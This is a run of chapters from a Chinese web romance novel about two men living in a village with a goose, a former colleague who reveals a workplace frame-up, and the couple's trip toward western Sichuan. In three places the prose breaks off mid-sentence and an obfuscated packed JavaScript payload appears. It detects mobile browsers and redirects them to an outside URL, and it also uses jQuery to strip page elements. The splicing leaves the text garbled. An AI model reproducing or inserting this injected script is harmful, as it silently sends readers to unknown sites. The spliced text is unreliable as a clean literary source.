书房里安静下来,只有电脑的风扇嗡嗡地响,和窗外偶尔传来的虫鸣。村霸不知道什么时候走到了门口,蹲在那里一会儿看看沈叙,一会儿看看陆时砚。 第二天,生活照常进行。 陆时砚说要去拍王大爷编筐的收尾——上次拍了一半,老人家年纪大了,编得慢,今天终于能完工了。沈叙照例背着器材跟在后面,村霸照例保持两米距离跟着他们。 走出院子的时候,沈叙回头看了一眼。 院墙上的牵牛花开得正盛,紫色的花朵挤挤挨挨,把整面墙遮得严严实实。阳光照在上面,光影斑驳,一切都和往常一样。 但他总觉得有一双眼睛在看着他们。 那种感觉说不清道不明,像有人在你后颈上轻轻吹了一口气,回头却什么也没有。 王大爷今天精神很好,坐在院子里,手里的竹条翻飞,最后一个筐底很快就编好了。他拿起剪刀,剪断多余的竹条,把边缘修整整齐,然后举起那个新编好的筐,对着阳光看了看,满意地点点头。 “成了。”他说。 陆时砚拍完最后一个镜头,放下相机,走过去看那个筐。王大爷把筐递给他,让他拿在手里掂量掂量。 沈叙也凑过去看,筐很结实,竹条编得紧密均匀,纹路一圈一圈往外扩散,像是树的年轮。 王大爷说:“这个送你们了。” 陆时砚愣了一下:“这怎么行,您编了这么久——” 王大爷摆摆手:“我一个老头子,要那么多筐干什么?你们年轻人能用上,我就高兴。” 他看看陆时砚,又看看沈叙,笑呵呵地说:“两个人过日子,总得有个装东西的。菜啊,果子啊,都能装。拿着吧。” 沈叙接过那个筐,拿在手里,沉甸甸的,有一种踏实的感觉。 他想起王大爷上次说的话——你编的时候,想着这东西要给谁用,编着编着,就编出感情了。 这个筐,是带着感情编的。 回去的路上,沈叙一直抱着那个筐,村霸在旁边时不时看一眼,眼神里带着一丝好奇。 陆时砚走在他旁边,忽然问:“想什么呢?” 沈叙说:“在想王大爷的话。” 陆时砚等他继续,他看着手里的筐,又说:“以前我不懂这个。在公司,做的东西不知道给谁用,用户就是一串数据,分析报告里的一堆百分比。做完了就完了,没什么感觉。” “现在不一样了。学会种菜举反光板”他抬起头,看着陆时砚,“这些东西,做的时候能想到你,做着做着,就觉得有意思了。” 陆时砚看着他那双认真的眼睛,他伸手,握住沈叙空着的那只手。 “我也是。”他说,“拍的时候会想,这个镜头沈叙会不会喜欢。剪的时候会想,这段要不要多留几秒让他看看。发出去之后会想,他会不会刷到那些夸他的弹幕。” “做着做着,就做不出一个人做的东西了。” 两人就这样走回去,中间隔着一个新编的筐,和一只跟在后面的鹅。 下午,沈叙坐在院子里,翻看手机的设置。他检查了每一个应用的使用权限,查看了每一次后台调用的记录,甚至下载了一个安全软件,把手机从头到尾扫描了一遍。 什么都没发现。 那个人的手法很高明,像一阵风,来了又走,什么痕迹都没留下。 他把手机放下,靠在椅背上,看着头顶的老槐树发呆。阳光透过树叶的缝隙落下来,在他脸上投下一片晃动的光斑。 村霸走过来,在他脚边趴下,把脑袋搁在他鞋面上。沈叙低头看着它,伸手摸了摸它的脑袋。 “你说,”他轻声说,“那个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晚上,两人坐在书房里,没有开灯。窗帘拉得严严实实,只留一条缝隙,刚好能看见院墙那边。 村霸趴在窗台上,眼睛盯着外面,一动不动。沈叙握着陆时砚的手,手心有一点汗。 第一次抓变态,有点紧张。 他们等了很久,月亮升起来,又往西移。星星密密麻麻地铺满天空。远处传来狗叫,一声两声,然后安静下去。 快到半夜的时候,村霸忽然动了动。它站起来,耳朵竖起来,喉咙里发出低沉的“咕噜”声。 沈叙顺着它的目光看过去,院墙外面,有一个黑影。那个人蹲在那里,猫着腰,正往墙这边摸索。 月光下,能看见他的手在墙上轻轻摸着什么——在找那个洞。摸到泥巴的时候,他的手顿了顿,站起来,往后退了一步。 月光照在他脸上,沈叙的呼吸停了一瞬。 那个人,他认识。 沈叙的手指倏地收紧,月光落在院墙外那个人的脸上,把他的轮廓照得清清楚楚,带着一点疲惫,眼睛在暗处闪着幽幽的光。 那光沈叙见过,在无数个加班的深夜,在项目上线前的凌晨,在自己曾经照过的镜子里。 村霸的喉咙里滚出一串低沉的咕噜声,翅膀微微炸起,整个身子绷成一张弓。沈叙按住它的后背,感觉到那只鹅的心跳隔着羽毛传过来,咚咚咚的,和他的心跳叠在一起。 17. 前同事 月光落在那张脸上,把每一个轮廓都照得清清楚楚。沈叙握着陆时砚的手,下意识收紧了一点。 那个人站在院墙外面,穿着一件深色的外套,头发比上次见面时长了一点,乱糟糟地搭在额前。他盯着墙上那个被堵住的洞,眉头皱得很紧,像是在思考什么。 然后他抬起头,往院子里看了一眼。 月光下,四目相对。 沈叙看见那张脸上的表情从困惑变成惊讶,再从惊讶变成一种复杂的、难以言说的东西。 那个人也看见了他,往后退了一步,像是想跑。 村霸“嘎”的一声从窗台上跳下去,冲到院子里,对着院墙的方向发出愤怒的叫声。那声音在安静的夜里显得格外响亮,惊起了树上栖息的几只鸟,扑棱棱地飞向夜空。 沈叙松开陆时砚的手,站起来。 “我去。”他说。 陆时砚也站起来,跟在他后面。 两人一前一后走出屋子,穿过院子,走到院门口。村霸已经冲到了墙根底下,昂着头对着外面叫,羽毛都炸了起来,整个鹅像一团被点燃的白色火焰。 沈叙打开院门,那个人站在三米开外,没有再跑。月光把他整个人都照亮了。 沈叙看着那张脸,看着他乱糟糟的头发,看着他眼睛里那种复杂的、说不清是愧疚还是害怕还是别的什么的东西。 “老周。”他开口,声音在安静的夜里显得有点沙哑,“你怎么在这儿?” 那个叫老周的人没说话,只是站在那里,手指微微蜷缩着,不知道往哪里放。 陆时砚站在沈叙旁边,目光落在那个人身上,表情很淡,看不出在想什么。 村霸还在叫,声音又高又尖,在夜里传得很远。远处有几户人家的灯亮了,隐约传来人声,像是在问发生了什么。 沈叙深吸一口气,对陆时砚说:“我以前的同事。” 陆时砚点了点头,什么都没问。 沈叙又看向老周:“进来说。” 老周犹豫了一下,跟着他们走进院子。 村霸跟在他后面,保持着随时可以发起攻击的距离,喉咙里发出低沉的咕噜声。老周回头看了它一眼,下意识往旁边躲了躲。 沈叙把院门关上,在院子里那棵老槐树下站定。 月光透过树叶的缝隙落下来,在他们身上投下一片片晃动的光斑,夜风吹过,树叶沙沙地响。 “说吧。”沈叙看着老周,“为什么在这儿?” 老周低着头,沉默了很久,久到村霸都等得不耐烦了,冲他“嘎”了一声。 “沈叙,”他的声音很干涩,像是很久没说过话,“我……我不知道该怎么跟你说。” 沈叙等着,老周继续说:“你走之后,公司那边出了点事。项目上线出了bug,用户数据泄露,领导要找人背锅。你走了,锅就扣你头上了。” 老周抬起头,看着他,眼睛里有一种奇怪的光,像是愧疚,又像是别的什么。 “他们说,是你离职前留的后门。说你不满意公司待遇,故意搞破坏。发了内部通报,还报了警。” 沈叙的眉头皱起来,他离职的时候交接得清清楚楚,所有的代码、文档、权限都移交了,怎么会有后门? 老周看出他的疑问,苦笑了一下:“我知道不是你。但有用吗?他们已经定了调子,要找个人承担责任。你不在,就是最合适的。” 沈叙沉默了一会儿,问:“那你怎么来了?” 老周看着他,又看了看旁边的陆时砚,再看了看蹲在脚边虎视眈眈的村霸,深吸一口气:“因为我发现了一些东西。”他说,“那些后门,不是在你走之前留的,是在你走之后。” “什么意思?” “有人在你离职之后,用你的账号登录了系统,植入了那些代码。”老周说,“我查了日志,时间是在你离职之后第三天。但IP地址是公司内网,登录方式是内部验证,说明是有人拿到了你的账号密码,从公司内部操作的。” 沈叙脑子里飞快地转着,他的账号密码,只有他自己知道——不对,还有一个人知道。 他离职的时候,把所有的账号密码都交接给了当时的组长,方便后续工作。 那个组长,叫什么来着? 老周像是猜到了他在想什么,点了点头:“你想的那个,没错。就是姓陈的那个。” 沈叙的手指微微收紧。 姓陈的,他的前组长,一个笑面虎一样的人,表面上对他客客气气,背地里没少给他使绊子。他离职的时候,那个人还假惺惺地说“以后常联系”。 “我发现之后,去找他对质。”老周的声音更涩了,“他说是我诬陷他,说我想抢他的位置。转头就在部门里说我疯了,说我被压力搞垮了,说让我休假。”他苦笑了一下,“我休了。但没回家,直接买了票来找你。我想告诉你这些事,想让你小心一点。” 沈叙看着他,心里涌起一阵复杂的情绪。 老周是他以前的同事,不算很熟,但偶尔一起抽根烟,聊聊工作上的烦心事。他离职的时候,老周还发过消息,说“以后有机会聚聚”。他没回,也不知道回什么。 没想到他会为了这件事,跑这么远来找他。“你怎么找到这儿的?”沈叙问。 老周沉默了一下,然后说:“我查了你的快递记录。” 沈叙愣了一下:“啊?” 老周说:“你走之前,公司发过一个离职大礼包,里面有纪念品什么的。那个快递单号我找到了,查了物流记录,最后送到镇上快递点。我去了镇上,问了快递员,他说送到村口,是一个姓陆的人收的。” 他看向陆时砚,“然后我就找到这儿了。来了之后,我没敢直接敲门。我不知道该怎么跟你说这些事。就在附近转悠,想找个机会。后来我发现你们家墙上有洞,能看到里面。我就……” 沈叙看着他,心里那点复杂的情绪慢慢沉淀下来。愤怒吗?有一点。任何人知道自己被偷窥了都会愤怒。 陆时砚忽然开口了;“你说那些后门,是陈姓组长用沈叙账号植入的?” 老周愣了一下,然后点头。 “有证据吗?” 老周说:“有。日志截图,IP记录,操作时间,我都存了。” 陆时砚看着他,目光很淡,但里面有东西。 “为什么?” 老周明白他问的是什么——为什么帮他?为什么要冒这个风险? 他沉默了一会儿,然后说:“因为不公平。” “沈叙走的时候,什么都没做错。他把所有事都交代得清清楚楚,交接文档写了二十多页,手把手教了三天。结果呢?被人泼脏水,背黑锅,还可能被起诉。”他抬起头,看着沈叙,“我看不下去。” 沈叙看着他的眼睛,那里面有愤怒,有不平,还有一点执拗的东西。 村霸在旁边“嘎”了一声,这次听起来没那么凶了,沈叙走过去,在老周面前蹲下来,“谢谢你。”他说。 沈叙看着他的眼睛,认真地说:“谢谢你来找我,谢谢你告诉我这些,谢谢你……想帮我。” 老周张了张嘴,没说出话来。沈叙站起来,转头看向陆时砚,对方走过来,站在他旁边。 “你想怎么做?”他问。 沈叙想了想,说:“先把证据收好。该澄清的澄清,该报警的报警。不能让他这么泼脏水。” 陆时砚点了点头。 沈叙又看向老周:“你今晚住哪儿?” 老周愣了一下,然后说:“我……我找个旅馆就行。” 沈叙说:“这么晚了,没车。在这儿住吧。” 沈叙没再说什么,转身往屋里走。走到门口,他忽然停下来,头也不回地说:“以后别蹲墙根了。有事直接敲门。” 老周站在院子里,看着他的背影,嘴角动了动,没说出话来。 村霸蹲在他脚边,抬头看着他,听懂了没?以后别来了。 那一晚,沈叙把老周安顿在隔壁的空房间里,他躺回床上,盯着天花板,脑子里乱成一团。 前公司的那些事,陈姓组长的陷害,老周的千里奔波,墙上的那个洞,月光下那张疲惫的脸。 还有陆时砚一直握着他的手,从始至终,没松开过。 他转头看向旁边的人,陆时砚也醒着,月光从窗户照进来,落在他的侧脸上。 “想什么呢?”沈叙问。 陆时砚想了想,说:“在想,你以前的日子,挺累的。” 沈叙愣了一下。 陆时砚说:“公司里那些人,那些事,听着就累。” 他转过头,看着沈叙的眼睛。 “还好你来了。” 沈叙看着那双眼睛,里面有月光,有自己的倒影,还有一点心疼。 他伸手,把陆时砚揽进怀里,陆时砚靠在他肩上,手环着他的腰。 两人都没说话,窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老周上车前,回头看了他一眼。 “保重。”他说。 沈叙点点头:“你也是。” 车子开走了,扬起一路尘土,最后消失在远处的山弯里。沈叙站在村口,看着那个方向,很久没动。 陆时砚走过来,站在他旁边。 “想什么呢?” 沈叙说:“在想,人这一辈子,会遇到很多人。有的帮你,有的害你,有的路过你。” “最后能留下来的,没几个。” 陆时砚看着他,没说话,沈叙转头,看着他的眼睛:“还好你留下来了。” 陆时砚的嘴角弯起来。 他伸手,握住沈叙的手。 两人站在村口,站在午后的阳光里,站在那条通往外面世界的土路边上。 远处,山坡上的野花开得正好,一片一片的,紫的黄的白的,在风里轻轻摇晃。村霸不知道什么时候跟出来了,蹲在他们脚边,眯着眼睛晒太阳。 沈叙忽然说:“去贡嘎的事,定了吧。” 陆时砚点头:“定了。” 沈叙说:“什么时候走?” 陆时砚想了想:“下个月。等这批视频剪完,等天气再好一点。” 沈叙说:“好。” 陆时砚看着他,忽然问:“你不问问去多久?不问问要准备什么?不问问会不会有危险?” 沈叙笑了笑,“你会带我去的。”他说,“你会准备好的。你会在路上一直握着我的手,会在雪山脚下给我拍很多照片,会在晚上裹着同一床被子看星星。” 陆时砚看着他那双认真的眼睛,忽然伸手,把他拉过来,在额头上亲了一下。 很轻,很快。 在午后的阳光里,在村口那条土路边上,在远处野花的摇曳中,那个吻,沈叙觉得比什么都重。 村霸抬起头,看了他们一眼:又来了。把脑袋又埋回翅膀里,继续晒太阳,远处,山坡上的风轻轻地吹,野花在风里摇晃。 他们站在那里,手牵着手,看着同一个方向。那个方向,有雪山,有未知,有他们即将一起走的路。 沈叙忽然想起一句话,是他刚来那天,陆时砚对他说的。 “你在这里,就是在这里。不用证明什么。” 18. 路上 老周走了之后,日子好像又回到了原来的轨道上。 每天早晨,沈叙在鸡叫声中睁开眼睛,躺两秒,爬起来推开门。阳光从老槐树的缝隙里漏下来,在院子里画出一片晃动的光斑。陆时砚在厨房里忙活,锅碗瓢盆轻轻碰撞的声音混着粥的香气一起飘出来。村霸蹲在墙角,看见他就“嘎”一声,算是打过招呼。 那天下午,沈叙坐在院子里翻看老周留下的那些证据,屏幕上是一张张截图,一串串时间戳,一个个IP地址。那些数字和符号他太熟悉了,曾经每天都要和它们打交道,在会议室里对着它们指指点点,在邮件里用它们证明自己的观点。 、 陆时砚从屋里出来,在他旁边坐下,手里端着两杯茶,一杯递给他:“还在看?” 沈叙接过茶杯,点了点头。陆时砚没再说话,只是安静地坐在他旁边,偶尔喝一口自己的茶。 过了一会儿,沈叙把手机放下,靠在椅背上,看着头顶的老槐树发呆。 “在想什么?”陆时砚问。 沈叙想了想,说:“在想这些事。以前在公司的时候,每天就是这些东西。数据,证据,对错,输赢。谁对谁错,谁输谁赢,好像比什么都重要。” 他顿了顿:“现在看着它们,忽然觉得没那么重要了。” 陆时砚转头看他。 沈叙一时找不到词,说:“不是说不重要,是……没那么着急了。以前恨不得马上证明自己是对的,马上让那些陷害我的人付出代价。现在觉得,可以慢慢来。反正证据在这儿,跑不了。” 他看向陆时砚:“可能是因为,有更重要的事等着我去做。” 陆时砚看着他那双眼睛,嘴角微微勾起,“比如?” 沈叙说:“比如学会做你爱吃的红烧肉,比如陪你去贡嘎拍雪山,比如和村霸搞好关系——” 话音刚落,村霸刚好从他们面前走过,听见自己的名字,停下来,歪着脑袋看了沈叙一眼。 :你和我搞好关系?不是我跟你搞好关系? 沈叙被它看得有点心虚,伸手摸了摸它的脑袋。村霸躲了一下,没躲开,就让他摸了两下,然后昂着头走了。 那背影看起来很拽,但沈叙注意到它的尾巴轻轻摇了摇。 晚上,两人坐在书房里,陆时砚在剪视频,沈叙在旁边看。屏幕上,李大妈的手在光影里翻飞,那些粗糙的、布满裂纹的手指,捏着坛子边缘,稳稳地转动。 剪到一半,陆时砚忽然停下来,看着屏幕,沉默了一会儿,然后说:“我想把这些都剪完,然后就出发。” 沈叙愣了一下:“都剪完?” 陆时砚点头:“王大爷的筐,李大妈的酱,村霸的日常,还有之前攒的那些素材。都剪完,存好,然后安心出门。” 沈叙看着他认真的侧脸,这个人做事的样子很好看。 他问:“大概要多久?” 陆时砚算了算:“半个月吧。” 沈叙点点头:“好。” 陆时砚转头看他:“你不问问去哪?去多久?什么时候回来?” 沈叙笑了笑:“你会告诉我的。” 接下来的半个月,日子变得忙碌起来。 每天吃完早饭,两人就钻进书房,一个剪视频,一个在旁边帮忙。沈叙渐渐学会了剪辑软件的基本操作,能帮着做一些简单的粗剪,给陆时砚省了不少时间。有时候剪累了,就靠在椅背上发呆,看着窗外的阳光从东移到西,看着老槐树的影子在墙上慢慢拉长。 村霸偶尔会进来看看,在门口探进一个脑袋,左看看右看看,然后“嘎”一声,又缩回去。沈叙觉得它是在监督他们,确保他们没有偷懒。 晚上吃过饭,两人会坐在院子里乘凉。月亮一天比一天圆,星星一天比一天密,晚风一天比一天暖。沈叙靠在陆时砚肩上,听着他讲以前去川西的那些事。 高原反应有多难受,日出的时候有多美,雪山的影子投在云海上是什么样子。 那些地方沈叙都没去过,但听着听着,好像也能看见那些画面。 半个月很快过去,最后一批视频上传完毕的那个晚上,陆时砚靠在椅背上,长长地舒了一口气。 “剪完了?”他问。 陆时砚点点头:“剪完了。” 第二天早上,院子里,陆时砚正蹲在地上整理装备。相机包打开着,镜头一个一个摆在地上,三脚架支在一旁,还有一堆他叫不出名字的东西。村霸蹲在旁边,歪着脑袋看着这一切,眼神里带着一丝好奇。 看见沈叙出来,陆时砚头也不回地说:“醒了?过来帮忙。” 沈叙走过去,在他旁边蹲下。 陆时砚指着地上那些东西,一个一个给他讲:这个是机身,这个是广角镜头,这个是长焦,这个是备用电池,这个是充电器,这个是滤镜,这个是清洁套装。 沈叙听着,努力记住每一个的名字和用途。 讲完一遍,陆时砚看着他:“记住了?” 沈叙想了想,指着地上的东西一个一个说:“机身,广角,长焦,电池,充电器,滤镜,清洁套装。” 陆时砚的嘴角弯起来:“还行。” 两人开始往包里装东西。陆时砚装一样,沈叙递一样,配合得越来越默契。村霸在旁边看着,偶尔“嘎”一声,翅膀扑腾一下:我呢?不带我吗? 沈叙摸了摸它的脑袋:“你在家看院子。回来给你带好吃的。” 村霸扭头:这还差不多。 装备收拾完,陆时砚站起来,活动了一下肩膀。 “明天走。”他说。 沈叙点点头:“好。” 陆时砚看着他,眼睛里有一点奇怪的光。 “怕不怕?” 沈叙愣了一下,然后笑了。 “不怕。”他说,“你去哪儿我都去。” 下午,两人去村里告别,让他们帮忙看着点村霸。 先去了李大妈家。李大妈听说他们要出门,拉着他们的手说了半天话,什么高原反应要注意,什么路上要小心,什么回来一定要来家里吃饭。沈叙听着,心里涌起一阵暖意。 李大妈说着说着,忽然想起什么,跑进屋里,拎出一个布袋子塞给沈叙。 “路上吃。”她说,“我烙的饼,能放好几天。” 李大妈拍拍他们的手,笑着说:“去吧去吧,早点回来。” 从李大妈家出来,又去了王大爷家。王大爷正在院子里编筐,看见他们,放下手里的活,问是不是要出门了。陆时砚点点头,说要去川西拍雪山。 王大爷沉默了一会儿,然后站起来,走进屋里,拿出一个东西。是一个小竹筐,编得很精细,巴掌大小,刚好能放一只手进去。 “带着。”他说,“装点零碎东西。” 沈叙接过来,拿在手里,沉甸甸的。 王大爷看着他们,笑呵呵地说:“两个人出门,东西得有人看着。互相看着,别走散了。” 沈叙看着那个小筐,忽然明白王大爷的意思。装东西是假的,让他们互相看着是真的。 他把小筐收好,认真地说:“谢谢您。” 王大爷摆摆手,又坐下继续编筐。从王大爷家出来,天已经快黑了。两人往回走,村霸跟在后面,保持着两米的距离。 沈叙走了一会儿,忽然说:“我有点舍不得。” 陆时砚转头看他。 沈叙说:“这村子。这些人。还有它。”他指了指村霸。 村霸似有所感,抬起头,歪着脑袋看他们。 陆时砚笑了笑,伸手握住他的手。 “还会回来的。”他说。 沈叙握紧那只手。 晚上,两人把最后的东西收拾好,坐在院子里看月亮。村霸趴在沈叙脚边,脑袋搁在他鞋面上,偶尔动一动翅膀。 沈叙摸着它的脑袋,心里有点舍不得。 “它会不会想我们?”他问。 陆时砚想了想,说:“会。但它会看家的。” 沈叙低头看着村霸,那只鹅已经闭上了眼睛,发出轻微的呼噜声。 他轻轻地说:“等我们回来。” 村霸动了动耳朵,像是听见了。月亮又移了一点,院子里的影子又长了一点。 陆时砚忽然说:“明天早点起。” 沈叙问:“多早?” 陆时砚说:“四点。” “好。”他说。 陆时砚转头看他,“不问问为什么四点?” 沈叙说:“你要我四点起,我就四点起。” 陆时砚看着他那双认真的眼睛,嘴角慢慢弯起来,他伸手,揉了揉沈叙的头发。 沈叙顺势靠在他肩上,月光落在他们身上,把两个人的轮廓融在一起,村霸在脚边翻了个身,发出满足的咕噜声。 第二天早上,天还没亮,沈叙就醒了。他躺在那里,听着窗外的风声,心里很平静,旁边的人还在睡,呼吸很轻,很均匀。 沈叙侧过头,看着他的睡颜。月光透过窗帘的缝隙落进来,在他的脸上投下一道淡淡的光。他的睫毛很长,在眼睑上投下一小片阴影,嘴唇微微抿着,睡得很安心。 沈叙看了一会儿,轻轻在他额头上亲了一下。 陆时砚动了动,睁开眼睛。 “醒了?”沈叙问。 “嗯。”他说,“走吧。” 两人爬起来,洗漱,穿衣服,最后检查一遍装备。村霸不知道什么时候醒了,蹲在门口看着他们,眼神里有一点复杂的东西。 沈叙蹲下来,摸了摸它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305532|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脑袋。 “看家。”他说。 村霸“嘎”了一声,像是在说:知道了。 两人背上包,推开门。天还没亮,东边有一点点鱼肚白,星星还挂在西边的天上。远处的山影黑黢黢的,近处的老槐树在风里轻轻摇晃。 沈叙回头看了一眼院子。 那棵老槐树,那面爬满牵牛花的墙,那间他住了大半年的屋子,还有蹲在门口的那只鹅。 他都看了一遍。 陆时砚在旁边等着他。 沈叙收回目光,握住他的手。 “走吧。” 两人走进黎明前的黑暗里,走向村口,走向那条通往外面的路。 村霸在后面“嘎”了一声。 那声音在安静的早晨里传得很远,像是送行,又像是叮嘱。 他们走过村子,走过山坡,走过那条第一次来时的土路。天一点一点亮起来,东边的云被染成淡粉色,鸟开始叫,远处传来鸡鸣。 走到镇上的时候,太阳刚好升起来。第一班车停在站台上,车门开着,司机在抽烟。 陆时砚走上去,问:“去县城?” 司机点点头,把烟掐灭。 两人上车,把包放好,在靠窗的位置坐下。车子发动了,晃晃悠悠地开出去。沈叙看着窗外,那些熟悉的风景一点一点往后退。镇上的街道,路边的田野,远处的山影,还有偶尔闪过的人家。 “到了那边,可能会很累。” 沈叙说:“我知道。” 陆时砚又说:“可能会高原反应。” 沈叙说:“我扛得住。” “可能会很冷。” 沈叙笑了笑,握紧他的手:“你在我就不冷。” 陆时砚看着他那双认真的眼睛,忽然倾身过去,在他嘴角亲了一下。 车子继续往前开,窗外的风景继续往后退。太阳越升越高,把整个世界都照亮。沈叙靠在陆时砚肩上,看着窗外那些陌生的风景,心里忽然涌起一阵期待。 他不知道那边有什么,不知道会遇到什么,不知道接下来的路会怎样。 但旁边这个人会一直握着他的手。 车子开进县城,又转上去市里的大巴。大巴开上高速,窗外的风景从田野变成城镇,从城镇变成山峦。他们在服务区吃了碗泡面,继续赶路。 傍晚的时候,终于到了市里。火车站人很多,吵吵嚷嚷的。他们穿过人群,找到候车室,在角落里坐下。 陆时砚看了看时间:“还有一个小时。” 沈叙点点头,他靠在椅背上,看着来来往往的人流,忽然觉得有点恍惚。 早上还在那个安静的院子里,傍晚就在这个喧闹的火车站了。 世界真大。 但也很小——小到不管去哪里,都只要一天。 检票的时候,他们站起来,跟着人群往前走。走过检票口,在站台上停下。火车带着巨大的轰鸣声停在他们面前。他们找到自己的车厢,放好行李,在靠窗的位置坐下。 汽笛响起,火车慢慢启动。窗外的站台往后退,人群往后退,城市往后退。 沈叙看着窗外,看着那些越来越远的灯火,心里忽然涌起一阵说不清的情绪。 窗外的灯光一闪一闪地从陆时砚脸上掠过,把他的轮廓照得忽明忽暗。 沈叙忽然问:“你第一次去拍雪山的时候,怕不怕?” 陆时砚想了想,说:“怕。怕拍不好,怕白去一趟,怕一个人死在那边没人知道。” “但后来发现,怕也没用。该去的还是要去,该拍的还是要拍。” 他看着沈叙的眼睛,“现在不一样了。现在有人陪着,就不怕了。” 火车继续往前开,窗外的夜色越来越浓,灯火越来越稀疏。沈叙靠在陆时砚肩上,闭上眼睛。耳边是火车的轰鸣声,是偶尔传来的广播声,是旁边人轻轻的呼吸声。 不知道过了多久,沈叙迷迷糊糊地睁开眼睛。窗外已经什么都看不见了,只有偶尔闪过的一点灯光,像是黑夜里的星星。 陆时砚也闭着眼睛,呼吸很轻。沈叙看着他,忽然想起一件事。 他们要去的地方,海拔四千多米。 那里有雪山,有冰川,有这辈子没见过的最干净的星空。 还有他。 他轻轻地说:“到了那边,我给你拍张照片。” 陆时砚睁开眼睛。 沈叙被他看得有点不好意思,小声说:“就是你给我拍了那么多,我也想给你拍一张。” 陆时砚看着他那副样子,嘴角慢慢弯起来。 “好。”他说。 火车继续往前开,往西,往高原,往他们从来没一起去过的地方。 那个地方,有雪山在等着他们。 19. 垭口 火车在第二天傍晚抵达成都。 沈叙醒来的时候,窗外已经换了天地。那些熟悉的丘陵和平原不见了,取而代之的是越来越高的山,越来越深的谷,偶尔闪过一条湍急的河流,水是那种混着泥沙的灰绿色,翻滚着往前奔去。 他揉了揉眼睛,发现陆时砚正看着窗外,侧脸被夕阳镀上一层暖金色的光。 “快到了。”陆时砚说。 沈叙凑过去,顺着他的目光往外看。远处,天边有一排隐隐约约的轮廓,比云高,比天蓝,像是用最细的笔在画布上勾勒出来的线条。 那是雪山。 沈叙盯着那些线条,心里涌起一阵说不清的感觉。他活了二十多年,见过高楼大厦,见过车水马龙,见过凌晨四点的写字楼和深夜两点的便利店,但从没见过这样的山。 那么远,又那么近。那么高,又那么静。 陆时砚握着他的手,没说话。 火车进站的时候,天已经黑了。两人拖着行李走出车站,被一股热浪迎面扑来。成都的夏天比村里热得多,空气黏糊糊的,混着火锅味、人声、车鸣,还有各种各样说不上来的气息。 沈叙站在广场上,有点恍惚。 陆时砚看了看手机,说:“订的酒店在附近,走过去十五分钟。” 沈叙点点头,跟在他后面。 两人穿过人群,走过天桥,拐进一条小巷子。巷子不宽,两边是老旧的居民楼,一楼开着各种各样的小店——卖面的,卖水果的,卖杂货的,还有一家招牌都歪了的理发店。昏黄的灯光从店里透出来,把路面照得斑驳陆离。 酒店是一家青旅改造的小客栈,前台是个扎着丸子头的姑娘,正捧着手机看剧。看见他们进来,抬头瞄了一眼,目光在他们脸上转了一圈,又在他们交握的手上停了一秒。 “订房了吗?”她问,陆时砚报了名字,姑娘在电脑上敲了几下,然后把房卡推过来:“三楼,306。楼梯在那边。” 陆时砚接过房卡,道了声谢。 姑娘又瞄了他们一眼,忽然笑了:“去川西的吧?这几天好多去那边的都住我们这儿。” “嗯。” “路上小心啊,那边海拔高,注意高反。前几天有个小哥回来,说在四千多米的地方吐了三天。” “谢谢提醒。” 两人爬上三楼,找到306。一张双人床,一个衣柜,一张小桌子,窗户外面是巷子和对面楼的阳台。很干净,被子叠得整整齐齐,床头柜上放着一小盆绿萝。 陆时砚把行李放下,回头看他:“累不累?”沈叙摇了摇头,走过去,站在窗边往外看。 巷子里有人在收摊,把白天摆出来的那些东西一件一件搬回屋里。对面楼的阳台上晾着衣服,被风吹得轻轻晃动。远处传来模糊的汽车声和人声,混在一起,分不清是什么。 陆时砚走过来,站在他旁边:“想什么呢?” 沈叙说:“在想那个姑娘说的话。” 陆时砚转头看他。 沈叙说:“她说有人吐了三天。四千多米。” 陆时砚没说话,只是看着他示意他继续说。 “我以前最高只上过写字楼的三十二层。不知道高原反应是什么感觉。”他顿了顿,转头看向陆时砚,“但我想试试。” 陆时砚看着他那双认真的眼睛,嘴角慢慢勾起。 “好。”他说。 两人下楼吃饭,巷子口有一家串串店,门脸不大,但里面坐满了人,热气腾腾的,香味飘出去老远。他们找了个角落的位置坐下,老板娘拎着一壶茶过来,用四川话问他们吃什么。 陆时砚点了一堆东西,沈叙也听不懂是什么,就跟着点头。 等菜的功夫,他看着周围那些吃得热火朝天的人,“你以前来过成都吗?”说完又想骂自己,没来过这么拍的照片? 陆时砚点头:“来过几次。中转,或者拍完片子下来休整。” 沈叙问:“一个人?” 陆时砚想了想,说:“有时候一个人,有时候和别人一起。” 沈叙知道那个“别人”是谁,陆时砚看着他那副想问又忍住的样子,“想问什么就问。” 沈叙想了想,说:“你们那时候,也住这种地方吗?” 陆时砚点头:“嗯。穷,住不起好的。有时候还住过青旅的上下铺,八个人一间那种。” 沈叙想象了一下陆时砚住八人间的情景,有点想笑。 “那现在呢?”他问。 陆时砚看着他,眼睛里有光:“现在有你了,不住八人间了。” 菜上来了,满满一桌子。牛肉、郡肝、毛肚、黄喉、藕片、土豆、豆皮,还有一堆沈叙叫不出名字的东西,全都串在竹签上,红彤彤的,泡在翻滚的辣油里。 陆时砚教他怎么吃——先把串串放进锅里烫,烫熟了拿出来,在干碟里蘸一下,然后撸下来吃。 沈叙学着做,第一口下去,辣得眼泪都出来了,陆时砚递给他一瓶豆奶。 沈叙灌了半瓶下去,缓过气来,看着陆时砚慢条斯理地吃,一口一口,表情平静,像在吃白粥。 “你不辣吗?”他问。 陆时砚说:“还好。” 沈叙看着他,“你以前是不是经常吃这个?” 陆时砚点头:“下山之后,每次都会来一顿。又辣又烫,吃着就觉得,自己还活着。” 